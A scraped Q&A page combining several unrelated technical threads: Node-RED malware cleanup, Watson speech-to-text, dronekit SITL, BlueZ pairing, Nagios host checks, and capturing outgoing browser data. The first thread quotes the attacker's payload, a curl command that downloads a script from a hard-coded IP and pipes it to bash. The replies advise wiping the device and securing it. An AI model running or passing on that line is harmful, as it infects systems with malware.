Remove Multiple Node-Red Flows - Raspberry Pi LAMP Hack - solr

I have a raspberry pi LAMP server which I use as a hobby. I also have Node-Red installed which I use for ESp8266 Sensors.
I looked at Node-Red today and there are possibly 40 - 50 flows added (which I did not create). They are all the same timestamp, feeding to message payload. The payload is
curl -s http://192.99.142.248:8220/mr.sh | bash -sh
The same as is reported here:
SolrException: Error loading class 'solr.RunExecutableListener' + '/var/tmp/sustes' process
Does anyone know how I can delete all flows? Can I delete and clean install Node-Red? I don't have anything on the RPi which I need to keep. Thanks.

Please refer to this post on the Node-RED forum: https://discourse.nodered.org/t/malware-infecting-unsecured-node-red-servers/3460
This comes as a result of exposing Node-RED to the internet without applying any security.
Your safest course of action is to wipe the SD card and start with a clean system.
Make sure you enable security this time - details in the post linked above.

Related

Terrible Watson transcription

I'm trying to use Watson to create the transcription of an audio file in brasilian portuguese. I made the call to the api and the result returned successfully. But the transcription is beyond terrible. It's absolutely useless, with no word being recognized correctly.
I used the following command:
curl -X POST -u "apikey:<key>" --header "Content-Type: audio/mp3" --data-binary #./file.mp3
"https://api.us-south.speech-to-text.watson.cloud.ibm.com/instances/<code>/v1/recognize/model=pt-BR_BroadbandModel"
The test audio consists in a 9 min part of a 90 mins audio. It's an interview of a resercher with a dockworker. It has been recorded with a cel phone. I have upload it here, for examination: https://drive.google.com/file/d/1Xuibxksudp55uwaz6oSOccTZ3pP7Dya9/view?usp=sharing
It's not possible that Watson has a so terrible transcription. What am I missing ? do I have to set some parameter or do some work in the audio first ?
I tried the narrowband model also. Tried flac also.
the watson ibm api seems not to be properly codd for end users, the reasons seem their api design is overcomplicated for transcriptions.
it has a bug I believe their team has not been able to decode
It is however advisable to work with google
and speechRecognition
pip install --upgrade SpeechRecognition(linux, unix systems)
or C:\path_to_ python.exe -m pip install --upgrade SpeechRecognition (windows)
this is one module that has all the built in
capacity for the different api creators such as ibm
google, microsoft etc,
just by using
import speech_recogntion as sr
r = sr.Recognizer()
with sr.AudioFile("path to audio file") as source:
#r.adjust_for_ambient_noise() depending on if you have background noise
audio = r.record(source)
then ;
recognize the file out put
where xxx is the api creator from a list. say
google, ibm, azure or bing(with microsoft)
t = r.recognize_xxx(audio, credentials, ...)
read up more on the module to be more precise
this is only a rough guide

"dronekit-sitl waiting for connection..." But what am I to do next?

I have installed it. But what to do next?
MavProxy application doesn't respond to commands or am I doing something wrong over here.
In short, someone please guide me through connecting simulated vehicle with mission planner. I know it is very rudimentary but please help me out here.
To connect dronekit-sitl to Mission Planner simply just set the connection setting (at the top right) to TCP then click the connect button and set the remote IP 127.0.0.1 and remote port to 5760. Like in this picture:
And you should be connected to the dronekit-sitl, the developer actually specify the connection setup at their docs Link.
But I recommend you to not use the dronekit-sitl if you are using it to develop program using dronekit. Just use the original SITL from Ardupilot site Link. Why ? because the dronekit-sitl is limited to the version 3.3 firmware (Right now the latest firmware is 3.6) and you can't do advanced testing with it (Like simulate LIDAR, Wind simulation, even connecting your SITL to 3D Simulator).
A tips from me is if you want to develop your program in Windows and use the Mission Planner as GCS you can enable the Windows Subsystem for Linux (WSL) Link and install Ubuntu to the WSL and follow the SITL setup on Linux guide Link.
OR just use Ubuntu to develop your program and use APM Planner as your GCS Link or just install Mission Planner on Ubuntu using WINE/Crossover (This is the option I use right now).

How do I get bluez 5 to accept a fixed pin?

I can find nothing on how to do this. I am programming an Intel Edison in C and an Android phone in Java. I want to pair the Edison from the Android phone. I would think simple pairing (sspmode 1) would work but I get an error message on the phone about a wrong pin where no pin was requested. With sspmode 0 I get asked for a password but have no idea what it is as it is randomly generated in my NoInputNoOutput Edison. We have everything else working. If we pair from Edison manually, the rest of the code can connect and send bluetooth messages back and forth from the Edison to the phone. But pairing from Edison to any random phone that walks by is not acceptable. I think it is called Bluejacking.
I have seen some posts about using simple-agent but frankly what I understand is that BlueZ security changed so much between 4 and 5 that most all that I see doesn't work. I also see that the switch from 4 to 5 broke a lot of systems so I don't feel alone. I would try it but simple-agent is not on Edison and I have not found a procedure to install it. And as I don't know if the little I can find applies to version 5 as it all references version 4 I am feeling a little lost.
Can anyone point me in the right direction to something that will work on BlueZ 5? I am on 5.18.
The solution presented on the last post of this article does work
http://www.linuxquestions.org/questions/linux-wireless-networking-41/setting-up-bluez-with-a-passkey-pin-to-be-used-as-headset-for-iphone-816003/
Edit simple-agent, put it somewhere, make it executable, put the missing files in the same directory and run it. It must stay running for it to be active.
In my case, the missing file was bluezutils.py.
Run hciconfig hci0 sspmode 0 first
Pl use Bluz5.30.
Initially it was really difficult to bring up bluetooth using Bluez 5. It seems it was okay with Bluez 4.I have tried different versions of Bluez 5 on my LFS build. Even up to Bluez 5.28 it was not satisfactory. Now it is Bluz5.30, with this, LFS doc and lot of trail, I could manage. I feel Bluez is one of the most badly documented user unfriendly software. I also feel it is very buggy. It can hang machines forcing to hard boot the system. I have seen bluetooth forcing the Android phone also to reboot. So it is important to get the latest version of the software. But to make the bluetooth speaker work Pulseaudio was needed. It is better to get the latest version; here also LFS doc was fine.
So the process of connecting speaker was using bluetoothctl is as follows;
>> power on
>> scan on
>> pairable on
>> pair <device>
>> agent on
>> default-agent
Now the actual sound. Here pactl and pacmd are useful.
paplay -d can test the devices.
using pacmd with command 'list-sinks' can show the devices.
pacmd ->list-modules can show the modules loaded.
How to change automatically the audio output to bluetooth speaker when it is connected?
For me in one machine it was working fine, with an identical LFS in another machine it was not working. Finally it was identified as a
missing module module-device-manager with arg do_routing=1.
Once it was loaded everything was fine. This particular module was not shown in the pulse configurations. So I have to find that and load,
pacmd
load-module module-device-manager do_routing=1
One can add a line in the default configuration file available in /etc/pulse.or one can add it in the user configuration file also.Now to make the new bluetooth speaker being used to play sound. For that issue the command 'move-sink-input ' using pacmd. You can find the sink names my issuing the command 'list-sinks'.
If your speaker is not connecting, it may be that it is already connected elsewhere. If it is not so, remove-device; scan on; pair; and connect using bluetoothctl. I was worrying how to make file transfer using bluetooth (Bluez5). Actually very little information is available in LFS documention or in general in the NET. This very true and unfortunate about Bluez in general. They do not provide any real user doc or nothing is available in net. So the steps are as follows:
You need to install OBEX library. Then you build Bluez5 (if it not done already). It will install obexd. After installation you can find obexd in $PREFIX/libexec/bluetooth/obexd.This is where you find bluetoothd also. One generally makes a link for bluetoothd in /usr/sbin. A similar link can be made for obexd also. Once you start bluetoothd and obexd you can find object transfer profiles in bluetoothctl->show.If you need a phone to push objects to the computer, you need to run obexd with options '-a' and '-r '. if '-a' is not given phone will fail to send the file. Now how to push a file from Computer to Phone. For this you need obexctl, I do not think it is a finished tool, and it will not be installed while we build Bluez 5. I have seen it in the source tree and copied to /usr/bin/. It should be used to connect the Phone and when the connection is established one can 'send ' and you have to accept the request in the phone.
Starting obexd as a deamon was a problem. When obexd was tried on a text terminal (init 3) it was not possible to start since it needs a dbus session which in turn needs X display. It means one need to login an X seession before you start obexd. If you dissable X while building DBUS (--without-x) then Window Managers will not work. But there is solution with 'dus-run-session < command> [args]'. That means you can start a service obexd (like bluetoothd) in the system start-up. So just by switching on the Computer ( if pairing, trusting etc... was done earlier) one can push files from Phone to computer.
>> connect <device>
Second time onwards just connection is fine. Probably you can trust the device.
>> trust <device>

pnp4nagios not logging performance data for new host

We've just updated Nagios from 3.5.x to the current version (4.0.7) and subsequently added a new host for monitoring.
The new host shows as 'Down' in Nagios, and this seems to be related to the fact that pnp4nagios is not logging performance data (the individual checks for users, http etc are all find).
Initially there was an error that the directory
/usr/local/pnp4nagios/var/perfdata/newhost.com
that contains the xml setup and rrd files for the new host was missing), so I manually created this directory, but now it complains that the files are missing.
Does anyone know the appropriate steps to overcome this issue?
Thanks,
Toby
PS I'd tag this 'pnp4nagios', but that tag doesn't exist and I can't create them
UPDATE
It's possible that pnp4nagios is a red herring/symptom. Looking more closely I realise that Nagios actually believes the host is down, even though all services are up. The host status information is '(Host check timed out after 30.01 seconds)'...does this make any more sense?
It's indeed very unlikely that pnp4nagios has something to do with your host being down. pnp actually exports output and performance data to feed the rrd database and xml files (via npcd module or evenhandler command).
The fact that nagios reports the host check timed out after 30 sec means that :
- you have a problem with your host check command, please double-check the syntax
- this check command times out after a certain timelapse (most likely defined in nagios.conf) because the plugin was still running.
I'd recommend running this command from the server's prompt. You want to do something like :
/path/to/libexec/check_command -H ipaddress -args
For example:
/usr/local/libexec/nagios/check_ping -H 192.168.1.1 -w 200,40% -c 500,80% -timeout 120
See if something might be hanging. Having the output would be helpful.
Once your host check returns correct output and performance data to nagios, pnp will hopefuly do the rest.
In the unlikely event it helps anyone, pnp4nagios was indeed a red herring. The problem was that ping wasn't enabled for the host being checked, and this is the test for whether a host is up or not. Hence this was failing, despite other services being reported as working.

Cache Outgoing Data from browser

This might be a very broad question. But this is what i want. I open a website and enter some details in the website like my credentials to login or it may be any data that pass from my browser to the website. Now what i want is that i should cache ( write to a temp file ) whatever that i send to that website. How can this be done? I tried to extract the data present in the packets that are flowing out of my machine but i find only junk characters in that (may be header). any ideas are welcomed. I am using Ubuntu Linux and would like to achieve this using shell script/C/C++
One option would be to use the Fiddler Web Debugger which is scriptable (C#).
Although it's a Win32 program, it can act as a proxy for any Linux machine. See Debug traffic from another machine (even a Mac or Unix box) for details.
There's also a native Linux app called dsniff which can be used to log all HTTP traffic to a file.

Resources